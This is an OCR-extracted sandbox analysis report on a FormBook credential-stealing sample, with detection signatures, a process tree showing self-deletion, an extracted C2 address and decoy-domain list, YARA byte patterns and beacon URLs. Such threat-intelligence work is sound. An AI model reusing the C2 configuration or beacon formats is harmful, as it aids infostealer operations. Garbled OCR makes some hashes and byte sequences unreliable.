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Windows Analysis Report DWG.exe

Overview
General Information Detection Signatures Classification
Sample DWG.exe
Name: MALICIOUS Found malware configuration
Analysis ID: 510733 Snort IDS alert for network traffic (e....
MD5: ff882802d113edO.. Multi AV Scanner detection for subm...
SHA1L:
aadleed1c53f1d3. Yara detected FormBook
SHA256: 4216ff4fa753320... =
Malicious sample detected (through ...
Tags: exe
Infos: QA Sy

FormBook

Most interesting Screenshot:

Range: 0-100 Machine Learning detection for samp
Whitelisted: false

Confid 100% Self deletion via cmd delete
onfidence: o

Sigma detected: Suspicious Svchos
Queues an APC in another process .

Antivirus / Scanner detection for sub...

Process Tree

= System is wl0x64
e [E1 DWG.exe (PID: 6272 cmdline: 'C:\Users\user\Desktop\DWG.exe' MD5: FF882802D113ED02FA070C496F89D797)
o [B] DWG.exe (PID: 6240 cmdline: C:\Users\user\Desktop\DWG.exe MD5: FF882802D113ED02FA070C496F89D797)
o [ explorer.exe (PID: 3352 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BABOELD)
e [ svchost.exe (PID: 6564 cmdline: C:\Windows\SysWOW64\svchost.exe MD5: FA6C268A5B5BDA067A901764D203D433)
. cmd.exe (PID: 6584 cmdline: /c del 'C:\Users\user\Desktop\DWG.exe' MD5: F3BDBE3BB6F734E357235F4D5898582D)

o conhost.exe (PID: 6604 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
= cleanup

Malware Configuration

Threatname: FormBook
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"C2 list": [
"www.elsist.online/xzes/"

1,

"decoy": [
"dent-works.com",
"theravewizards.com",
"venkataramanagraphics.com”,
"overway.store",
"alignatura.com",
"boggbogs.com",
"senerants.tech”,
"muintel.net”,
"bestplacementconsultancy.com”,
"trippresso.com”,
"communication. services",
"xn--maraaestudio-dhb.com”,
"beandhira.com”,
"lochnas.com”,
"update-mind.com",
"cpcacursos.com”,
"metaverse-coaching.com",
"skindefense5.com",
"distressedthenblessed.com”,
"alphaore.com",
"extrobility.com",
"sandyanmax.com",
"jntycy.com",
"becomingalice.com”,
"printyourdays.com",
"fallet-official.com”,
"hcbg.online",
"era575.com",
"dalainstitute.info”,
"7looks-mocha-totalbeauty.com”,
"spydasec.com",
"votedsimone.net",
"cannabeeswax.com",
"coalitionloop.com",
"skywalkerpressonline.com",
"healthybalancedliving.com",
"mylistg.com",
"bookbgconspicuous.com”,
"mylyk.net",
"mylindiss.com"”,
"xn--80akukchh.xn--80asehdb",
"captekbrasil.com",
"joannhydeyoga.com”,
"monenee.xyz",
"nishantmohapatra.com”,
"mindbodyweightlossmethod.com”,
"sxjcfw.com”,
"wilbertluna.com”,
"inclutel.com”,
"knowsyourdream.com”,
"uk-gaming.com”,
"maihengkeji.online",
"fragrant-nest.com”,
"ubfodessa.com”,
"vipinindustries.com”,
"narcozland.com",
"heros-coaching.com",
"austeregomrqg.xyz",
"eleonoritalia.com”,
"publiccoins.online",
"dashmints.com",
"thebrandstudiointernational.com",
"thaikindee.com",
"punkidz.com"

Yara Overview

Memory Dumps

Source Rule

0000000A.00000002.556950950.0000000002F 1 JoeSecurity_FormBook
0000.00000040.00020000.sdmp

Copyright Joe Security LLC 2021

Description

Yara detected
FormBook

Author

Joe Security

Strings
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Source

0000000A.00000002.556950950.0000000002F1
0000.00000040.00020000.sdmp

0000000A.00000002.556950950.0000000002F1
0000.00000040.00020000.sdmp

Rule
Formbook_1

Formbook

Description

autogenerated rule
brought to you by
yara-signator

detect Formbook in
memory

00000005.00000000.329088160.0000000000401000.00000 JoeSecurity_FormBook  Yara detected

020.00020000.sdmp

00000005.00000000.329088160.0000000000401000.00000 Formbook_1

020.00020000.sdmp

Unpacked PEs

Source

5.2.DWG.exe.400000.0.unpack

5.2.DWG.exe.400000.0.unpack

5.2.DWG.exe.400000.0.unpack

5.0.DWG.exe.400000.1.unpack

5.0.DWG.exe.400000.1.unpack

Copyright Joe Security LLC 2021

Rule

FormBook

autogenerated rule
brought to you by
yara-signator

Click to see the 28 entries

Description

JoeSecurity_FormBook  Yara detected

Formbook_1

Formbook

JoeSecurity_FormBook

Formbook_1

FormBook

autogenerated rule
brought to you by
yara-signator

detect Formbook in
memory

Yara detected
FormBook

autogenerated rule
brought to you by
yara-signator

Click to see the 7 entries

Author

Felix Bilstein -
yara-signator at .
cocacoding dot .
com

e o o o

e o o o

JPCERT/CC
Incident Response
Group

e o o o o o

Joe Security

Felix Bilstein -
yara-signator at .
cocacoding dot .
com

e o o o

e o o o

Author

Joe Security

Felix Bilstein - .
yara-signator at .
cocacoding dot .
com

e o o o

e o o o

JPCERT/CC
Incident Response
Group

e o o o o o

Joe Security

Felix Bilstein - .
yara-signator at .
cocacoding dot .
com

e o o o

e o o o

Strings
e 0x8608:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC

0x89a2:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x146b5:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
7494

Ox14lal:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x147b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x1492f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x93ba:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02
83 E3 OF C1 EA 06

0x1341c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
Oxal32:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x19ba7:$sequence_8: 3C 54 74 04 3C 74 75 F4
Oxlacda:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE
FF FF 6A 00

0x16ad9:$sqlite3step: 68 34 1C 7B E1
0x16bec:$sqlite3step: 68 34 1C 7B E1
0x16b08:$sqlite3text: 68 38 2A 90 C5
0x16c2d:$sqlite3text: 68 38 2A 90 C5
0x16b1b:$sqlite3blob: 68 53 D8 7F 8C
0x16c43:$sqlite3blob: 68 53 D8 7F 8C

e 0x7608:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC

0x79a2:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x136b5:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
7494

Ox13lal:$sequence_2: 3B 4F 14 739585 C9 74 91
0x137b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x1392f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x83ba:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02
83 E3 OF C1 EA 06

Ox1241c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0x9132:$sequence_7: 66 89 0C 02 5B 8B E5 5D
Ox18ba7:$sequence_8: 3C 54 74 04 3C 74 75 F4
Ox19c4a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE
FF FF 6A 00

Strings

0x7808:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x7ba2:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x138b5:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
74 94

0x133al:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x139b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x13b2f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x85ba:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02
83 E3 OF C1 EA 06

0x1261c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0x9332:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x18da7:$sequence_8: 3C 54 74 04 3C 74 75 F4
0x19e4a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE
FF FF 6A 00

0x15cd9:$sqlite3step: 68 34 1C 7B E1
0x15dec:$sqlite3step: 68 34 1C 7B E1
0x15d08:$sqlite3text: 68 38 2A 90 C5
0x15e2d:$sqlite3text: 68 38 2A 90 C5
0x15d1b:$sqlite3blob: 68 53 D8 7F 8C
0x15e43:$sqlite3blob: 68 53 D8 7F 8C

0x7808:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0Ox7ba2:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x138b5:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
7494

0x133al:$sequence_2: 3B 4F 14 73 9585 C9 74 91
0x139b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x13b2f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x85ba:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02
83 E3 OF C1 EA 06

0x1261c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0x9332:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0Ox18da7:$sequence_8: 3C 54 74 04 3C 74 75 F4
Ox19eda:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE
FF FF 6A 00
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Sigma Overview

System Summary:

Sigma detected: Suspect Svchost Activity

Sigma detected: Windows Processes Suspicious Parent Directory

Jbx Signhature Overview

@ Click to jump to signature section

AV Detection:

Found malware configuration
Multi AV Scanner detection for submitted file
Yara detected FormBook

Antivirus | Scanner detection for submitted sample

=

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

System process connects to network (likely due to code injection or exploit)

=

E-Banking Fraud:

Yara detected FormBook

]‘

System Summary:

Malicious sample detected (through community Yara rule)

Hooking and other Techniques for Hiding and Protection:

]‘]

Malware Analysis System Evasion:

HIPS | PFW | Operating System Protection Evasion:

]

System process connects to network (likely due to code injection or exploit)
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Stealing of Sensitive Information:

Yara detected FormBook

Remote Access Functionality: -i.

Mitre Att&ck Matrix

Initial Privilege Credential Lateral Command Network
Access Execution Persistence Escalation Defense Evasion Access Discovery Movement Collection Exfiltration and Control Effects
Valid Native Path Process Virtualization/Sandbox Input System Time Remote Input Exfiltration Encrypted Eavesdrop o
Accounts API Interception  Injection . Evasion Capture Discovery Services Capture gy Over Other Channel Insecure

Network Network

Medium Communicat
Default Shared Boot or Boot or Logon Process LSASS Security Software Remote Archive Exfiltration Ingress Tool Exploit SS7 1
Accounts Modules [ Logon Initialization Injection Memory  Discovery Desktop Collected  Over Transfer Redirect Phc

Initialization  Scripts Protocol Data Bluetooth Calls/SMS
Scripts
Domain At (Linux)  Logon Script Logon Script Deobfuscate/Decode  Security Virtualization/Sandbox SMB/Windows Data from Automated Non- Exploit SS7 1
Accounts (Windows)  (Windows) Files or Information Account Evasion Admin Shares Network  Exfiltration Application Track Device
Manager Shared Layer Location
Drive Protocol
Local At Logon Script Logon Script Obfuscated Filesor  NTDS Process Discovery Distributed Input Scheduled Application SIM Card
Accounts (Windows) (Mac) (Mac) Information Component  Capture Transfer Layer Swap
Object Model Protocol

Cloud Cron Network Network Logon  Software Packing LSA Application Window  SSH Keylogging Data Fallback Manipulate
Accounts Logon Script Script Secrets Discovery Transfer Channels Device

Size Limits Communicat
Replication  Launchd Rc.common Rc.common File Deletion Cached Remote System VNC GUI Input  Exfiltration  Multiband Jamming or
Through Domain Discovery Capture Over C2 Communication Denial of
Removable Credentials Channel Service
Media
External Scheduled  Startup Startup Iltems Compile After DCSync File and Directory Windows Web Exfiltration  Commonly Rogue Wi-Fi
Remote Task Items Delivery Discovery Remote Portal Over Used Port Access Poini
Services Management Capture  Alternative

Protocol
Drive-by Command Scheduled Scheduled Indicator Removal Proc System Information Shared Credential Exfiltration Application Downgrade t
Compromise and Task/Job Task/Job from Tools Filesystem Discovery Webroot API Over Layer Protocol Insecure

Scripting Hooking ~ Symmetric Protocols
Interpreter Encrypted
Non-C2
Protocol

Behavior Graph
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Behavior Graph
»: swrz

sample:  DWGexe

Stndate: 281102021
Architecture:  WINDOWS

Score: 100

sarted

Screenshots

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.
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Process

Signature

Created File

DNS/IP Info

Is Dropped

Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language

Is malicious

Internet

started

conhostee AN

)
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Bin PIVFAGEAAV \A...

ﬂxg

Excel 2016

rn on Windows Firewall

. 7:41 AM
HH 0 Type here to search it if A D)oo =]

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source Detection Scanner Label Link
DWG.exe 50% Virustotal Browse
DWG.exe 38% ReversingLabs Win32.Trojan.Zusy

DWG.exe 100% Avira HEUR/AGEN.1136968

DWG.exe 100% Joe Sandbox ML

Dropped Files

No Antivirus matches

Unpacked PE Files

Source Detection Scanner Label Link Download

5.1.DWG.exe.400000.0.unpack 100% Avira TR/Crypt.XPACK.Gen Download File
0.0.DWG.exe.400000.0.unpack 100% Avira HEUR/AGEN.1136968 Download File
5.2.DWG.exe.400000.0.unpack 100% Avira TR/Crypt.ZPACK.Gen Download File
10.2.svchost.exe.900000.1.unpack 100% Avira TR/Patched.Gen Download File
0.1.DWG.exe.400000.2.unpack 100% Avira TR/Crypt.XPACK.Gen Download File
5.0.DWG.exe.400000.1.unpack 100% Avira TR/Crypt.ZPACK.Gen Download File
5.0.DWG.exe.400000.2.unpack 100% Avira TR/Crypt.ZPACK.Gen Download File
10.2.svchost.exe.3c3796c.4.unpack 100% Avira TR/Patched.Gen Download File

Copyright Joe Security LLC 2021 Page 10 of 26


https://www.virustotal.com/gui/file/4216ff4fa7533209a6e50c6f05c5216b8afb456e6a3ab6b65ed9fcbdbd275096/detection/f-4216ff4fa7533209a6e50c6f05c5216b8afb456e6a3ab6b65ed9fcbdbd275096-1635391859

Domains

Source Detection Scanner Label Link
mylyk.net 0% Virustotal Browse
URLs

Source Detection Scanner Label Link
http://www.theravewizards.com/xzes/? 0% Avira URL Cloud  safe

YTspi8IX=hsby6OIEBt/ghsMVYLSyJdZ7YeDc2lclgsMuos52TKAPvq+RR5iGDOsuf8zypfzdpc18&MnaP7
J=3fiTHZDPJpAt

http:/fwww.jntycy.com/xzes/? 0% Avira URL Cloud safe
MnaP7J=3fiTHZDPJpAt&Y Tspi8IX=099pRogLOlyRAntthtpVZytcMadcCvcEAGZz2+SNM9It1Q6olstbH3zh

Ne5B/+1jhL6CE

www.elsist.online/xzes/ 0% Avira URL Cloud safe
http:/fschemas.mi 0% URL Reputation safe
http:/fwww.publiccoins.online/xzes/? 0% Avira URL Cloud safe
MnaP7J=3fiTHZDPJpAt&Y Tspi8IX=VW6AQLcl+2136037Deilg2cODa3ue2eSFsBods08HsyRy7QSHzNY

TvvdstC8PYxoWiaB

http:/fwww.thebrandstudiointernational.com/xzes/? 0% Avira URL Cloud  safe

YTspi8IX=hHkh8CC3aQWSbWc+haxkrlzKrETBoK7eA41g+CP6m5nHXqg5sq3R+TUUaF/2E5Ug81ukz&M
naP7J=3fiTHZDPJpAt

Domains and IPs

Contacted Domains

Name Active Malicious Antivirus Detection Reputation

parkingpage.namecheap.com 198.54.117.215 true false high

Contacted URLs

Name Malicious Antivirus Detection Reputation

URLs from Memory and Binaries

Contacted IPs

Public

Domain Country Flag ASN Name Malicious

Copyright Joe Security LLC 2021 Page 11 of 26


https://www.virustotal.com/gui/url/7dd81bc9f16cc98f75bc0002cc11a76282600cdc14f095f4ceef10a775467e08/detection/u-7dd81bc9f16cc98f75bc0002cc11a76282600cdc14f095f4ceef10a775467e08-1631848076
https://www.virustotal.com/gui/url/7dd81bc9f16cc98f75bc0002cc11a76282600cdc14f095f4ceef10a775467e08/detection/u-7dd81bc9f16cc98f75bc0002cc11a76282600cdc14f095f4ceef10a775467e08-1631848076

Domain

Country Flag ASN Name Malicious

198.54.117.215

parklngpage namecheap.c United States 22612

NAMECHEAP-NETUS false

General Information

Joe Sandbox Version:
Analysis ID:

Start date:

Start time:

Joe Sandbox Product:
Overall analysis duration:
Hypervisor based Inspection enabled:
Report type:

Sample file name:
Cookbook file name:
Analysis system description:

Number of analysed new started processes
analysed:

Number of new started drivers analysed:
Number of existing processes analysed:
Number of existing drivers analysed:

Number of injected processes analysed:

Technologies:

Analysis Mode:
Analysis stop reason:
Detection:
Classification:

EGA Information:

HDC Information:

HCA Information:

Cookbook Comments:

Warnings:

Simulations

Behavior and APIs

No simulations

33.0.0 White Diamond
510733

28.10.2021

07:38:11

CloudBasic

Oh 8m 29s

false

light

DWG.exe

default.jbs

Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, |E 11, Adobe Reader DC 19, Java 8 Update 211
23

= O O O

HCA enabled
EGA enabled
HDC enabled
AMSI enabled

LJ
L]
L]
L]

default

Timeout

MAL

mal100.troj.evad. WinEXE@7/0@10/4

Failed

e Successful, ratio: 65% (good quality ratio 59.6%)
e Quality average: 72.1%
e Quality standard deviation: 31.3%

e Successful, ratio: 85%
e Number of executed functions: 0
e Number of non-executed functions: 0

e Adjust boot time
e Enable AMSI
e Found application associated with file extension: .exe

Show All

Joe Sandbox View | Context

Copyright Joe Security LLC 2021
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IPs
Match

198.187.31.159

198.54.117.215

Copyright Joe Security LLC 2021

Associated Sample Name / URL SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Detection

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Context

e www.despa
chantemede
iros.digital/i6rd/?
Y8=1bxX_L&k
48hR8=0D4D
3WBtzYolgn
PRU4xFACU8
AEON6ZKUJX
42WoqGOoha
qclKim4dkQ
agQXOchxO0
AuNj

e abrakadam
nasja.xyz/
css/Jm.exe

e cameronzn
xbas.xyz/c
ss/st.exe

e cameronzn
xbas.xyz/c
ss/st.exe

e cameronzn
xbas.xyz/c
ss/st.exe

e www.swala
yan.digital/i6rd/?
5jQ=A6AdAX&W
2MXD=93HbY
kahlgr3hla
7US827LxV1
rvVmh2fzufx
wwl1YrXPJhX
qBeF4zo1K/
JXWKPrkIKYKuy

o www.lesbi
anrofsmo.x
yz/anab/?C
rQPabN=Hxy
3RWVe69Cd7
uohsVYEgOa
3P3V/BAIEG
ZWWXU9j8C4
XG3zaWh17N
oDyO0SzZto
KrMy6&_fQL
6d=_ThORzf
HQPIhG

e www.usbgd
t.com/upi8/?
8plph=3U
bDyqfm5712
RZ3h0rb1PN
Agbmd7pBil
w5Vc7dibS|
ZzJ80i4VLI
/ITubhE1Re
V/9McpbA==
&gFQtn4=8p
LLUjVPWEXD

e www.stori
edpkinfo.x
yzlcr35/?w
0G=w6ATHTI
pgz&Sj=R7u
Fhzm4gexwY
FTLKNpfOX8
NH1TtMCMYj
Oorf3u7j71v
MynR5kMeFj
7P2GspnClo
cjCkv
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https://view.joesandbox.com/analysis/393625/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393625/html/none?idtype=webid
https://view.joesandbox.com/analysis/390156/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/390156/html/none?idtype=webid
https://view.joesandbox.com/analysis/377101/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/377101/html/none?idtype=webid
https://view.joesandbox.com/analysis/375691/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/375691/html/none?idtype=webid
https://view.joesandbox.com/analysis/375686/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/375686/html/none?idtype=webid
https://view.joesandbox.com/analysis/401105/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/401105/html/none?idtype=webid
https://view.joesandbox.com/analysis/400914/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/400914/html/none?idtype=webid
https://view.joesandbox.com/analysis/400386/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/400386/html/none?idtype=webid
https://view.joesandbox.com/analysis/400297/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/400297/html/none?idtype=webid

Match

Copyright Joe Security LLC 2021

Associated Sample Name /| URL SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Detection

malicious

malicious

malicious

malicious

malicious

malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Context

e www.estud
ioamlegal.
com/n58i/?
V2JtX25=3s
VI0/i2PyG3
qUu4YTCUVr
irDVOK3EI1
NalLdVavy+
6aj+oUnzTE
erwQaaYisq
1iJdwL&r0G
4n8=4h-Li0

°  www.rm22
6.com/d6pu/?
y6Ah=E+0
DRIxCy00Lb
bvBKWdFJBf
E60J7C6i7p
v3zivVgmlIDc
Wx/nP77f/5
82lunUjvwz
axdFqo3fut
w==&SD=Kn0
PFhghflm8

e www.narba
al.com/eféc/?
Y8hHaDY
=QfqleVj3w
cFFxzqVC6T
NCABTYUKfK
Ux3INvhXnO
0sFv9kGeCO
70VFWGBVI2
Js1jTOWhE&
cTql2=VNed
XjmhbR4LNtZ

e Wwww.growt
habove.com
Imexq/?1bu
hg=bdD4kHk
GAKKARS2/M
EaB/x1q3Ej
iCmO+FjMgd
+v9P+tppla
X/jd81LI1h
NYmT9g5/78
j&k6p=eN6tpho

e www.dentu
reslenexa.
com/fs3g/?
2duD_V=5jL
pSh&Nr=Evx
TxXkBKE/BKN
4|E/0g+ZfO
VMRNSEAws2
Pchhx6z9xf
jDddgEbBmm
gVms/hUQam
VUHB1

e www.shtfi
nc.net/c8te/?
_v3DpJ=
4hoXJODHNO
NI5f&Hr=c4
KXaeS6FUIM
9Kkw5zg+LK
xJtHGo+puY
1zc+2WNcth
S4Rq094x3y
Qg9DX6qTkj
FSnzqd

o www.diemc
oin.one/pusp/?
10G=g0
DTGJ5xhz3d
jI&nnf=TOT
gMD+6mn0ODu
MBmOzP3zXv
uOjKkt3/ENI
7Tx/loMm/vo
mXqgjYGAstO
hThgpdXe/7
E0j19
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https://view.joesandbox.com/analysis/399467/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/399467/html/none?idtype=webid
https://view.joesandbox.com/analysis/398619/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/398619/html/none?idtype=webid
https://view.joesandbox.com/analysis/397269/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/397269/html/none?idtype=webid
https://view.joesandbox.com/analysis/396541/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/396541/html/none?idtype=webid
https://view.joesandbox.com/analysis/395752/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/395752/html/none?idtype=webid
https://view.joesandbox.com/analysis/393522/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393522/html/none?idtype=webid
https://view.joesandbox.com/analysis/390534/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/390534/html/none?idtype=webid

Match

Copyright Joe Security LLC 2021

Associated Sample Name /| URL SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Detection

malicious

malicious

malicious

malicious

malicious

malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Context

e www.shute
restock.co
m/h5jc/?8p
W=sHmAg5sq
19KQ6giaeL
488tnzzkTJ
jyzeNMirB4
cW9uUfC90A
PONwWORzKpD
ngtl/tFveF
&1bE8p=8p0
4g8mHnH

* www.narba
al.com/ef6c/?
YFQLD6=
QfgleVj3wc
FFxzqVC6TN
CABTYUKKU
x3INvhXn0o
sFvokGeCO07
OVvFWGBvmMag
V1frHTUSCX
VL+Q==&TN6
=m6pTon

®  WWW.SOCW.
quest/dhua/?
3fth2z0=
XFJcld+HK
Z2Ha3XF2pE
/YK3hsmOH6
SvQpEs8n+i
19sUFAN8UD
9sSzhfgIXA
jmxyVYQA&U
L=7nl0dra

e www.cocke
vodka.com/
avqp/?LVI4
iT=IN6HZxg
h3h&nVw=j6
FgMNUKQV6/
m21MJIvbOAh
qocOm5WXE/
OaHxV1wTX7
IDWaC9PVxV
0O6/rPmm34g
noEjQs

e www.thead
amcook.com
/heth/?j48
D=mDHPtfeP
WBFdPz&ZL3
DB4=NDMUET
aAEYpdEScj
ys5sfqa6oG
QbzTI6bu3T
ns5CefClzm
XnigQog1+l
gVVQ3ZRuGx
jSITCtDg==

e www.ceasa
.club/hht8/?
3f_I=DUj
ZaEEJGHk2m
IYYyRTWCDvf
PYGXyJA+p9
CnlV/1IDuz
ycvHeDg3jg
t8DWFORM29
KScOphA==&e6-
0=cZQH7dS

o www.why5m
kt.com/mOnp/?
yPYP=Kz
rHNBoXSh&r
N=pd8cLhyO
D3LvxullEJ
vjnZnH7gmM
mwGj/LLxrv
XSZ/i0D2RI
pnhF/0V5Va
t1PcQ79Dzd
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https://view.joesandbox.com/analysis/390100/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/390100/html/none?idtype=webid
https://view.joesandbox.com/analysis/389556/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/389556/html/none?idtype=webid
https://view.joesandbox.com/analysis/388340/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/388340/html/none?idtype=webid
https://view.joesandbox.com/analysis/386744/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386744/html/none?idtype=webid
https://view.joesandbox.com/analysis/386571/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386571/html/none?idtype=webid
https://view.joesandbox.com/analysis/385841/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385841/html/none?idtype=webid
https://view.joesandbox.com/analysis/383484/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/383484/html/none?idtype=webid

Match

Domains

Match

parkingpage.namecheap.com

ASN

Match
NAMECHEAP-NETUS

Copyright Joe Security LLC 2021

SHA 256
Get hash

Get hash

Associated Sample Name / URL SHA 256
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash
Get hash
Get hash
Get hash
Get hash

Get hash

Associated Sample Name / URL SHA 256
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash

Detection

malicious

malicious

Detection
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

malicious
malicious
malicious
malicious
malicious

malicious

Detection
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

malicious

Link

Browse

Browse

Link

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Browse
Browse
Browse
Browse
Browse

Browse

Link

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Browse

Context

° www.roami

ngtrysha.c

om/hosg/?j

BZ=1hNtiMc
bd7AV+Zxw6

jfXRht5026
Vx3gKPd04R
WegYVvuljB
VGyS0SVYMe
04Jcmflypd

kLnFPJw==

7n3=NFNTfd

m8IF

www.kingo

fearth.lov
e/myec/?LN
689n=gh_TC

pB&TBZh=7F

WPYjaftzz9

H+gOW7161V

Qo7ilc+pdu

meJhNdLHyu
Ig3WNK/ncU
Hy1l4UGVnTY

tliuwi

Context

198.54.117.217
198.54.117.215
198.54.117.215
198.54.117.212
198.54.117.212
198.54.117.216
198.54.117.218
198.54.117.212
198.54.117.215
198.54.117.210
198.54.117.215
198.54.117.211
198.54.117.218
198.54.117.216

198.54.117.212
198.54.117.216
198.54.117.212
198.54.117.212
198.54.117.211
198.54.117.217

Context

199.188.205.66
198.54.122.60
198.54.117.217
104.219.248.99
198.54.117.215
192.64.119.254
63.250.40.204
198.54.126.156
185.61.153.108
63.250.40.204
63.250.40.204
198.54.114.114
198.54.117.215
63.250.40.204
63.250.40.204

192.64.119.74
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https://view.joesandbox.com/analysis/383179/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/383179/html/none?idtype=webid
https://view.joesandbox.com/analysis/382534/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/382534/html/none?idtype=webid
https://view.joesandbox.com/analysis/401174/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/401174/html/none?idtype=webid
https://view.joesandbox.com/analysis/401105/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/401105/html/none?idtype=webid
https://view.joesandbox.com/analysis/400914/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/400914/html/none?idtype=webid
https://view.joesandbox.com/analysis/400702/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/400702/html/none?idtype=webid
https://view.joesandbox.com/analysis/400504/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/400504/html/none?idtype=webid
https://view.joesandbox.com/analysis/400455/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/400455/html/none?idtype=webid
https://view.joesandbox.com/analysis/400422/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/400422/html/none?idtype=webid
https://view.joesandbox.com/analysis/400415/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/400415/html/none?idtype=webid
https://view.joesandbox.com/analysis/400386/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/400386/html/none?idtype=webid
https://view.joesandbox.com/analysis/400350/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/400350/html/none?idtype=webid
https://view.joesandbox.com/analysis/400297/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/400297/html/none?idtype=webid
https://view.joesandbox.com/analysis/400295/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/400295/html/none?idtype=webid
https://view.joesandbox.com/analysis/400080/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/400080/html/none?idtype=webid
https://view.joesandbox.com/analysis/400015/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/400015/html/none?idtype=webid
https://view.joesandbox.com/analysis/399891/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/399891/html/none?idtype=webid
https://view.joesandbox.com/analysis/399797/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/399797/html/none?idtype=webid
https://view.joesandbox.com/analysis/399501/html/none?idtype=webid#static
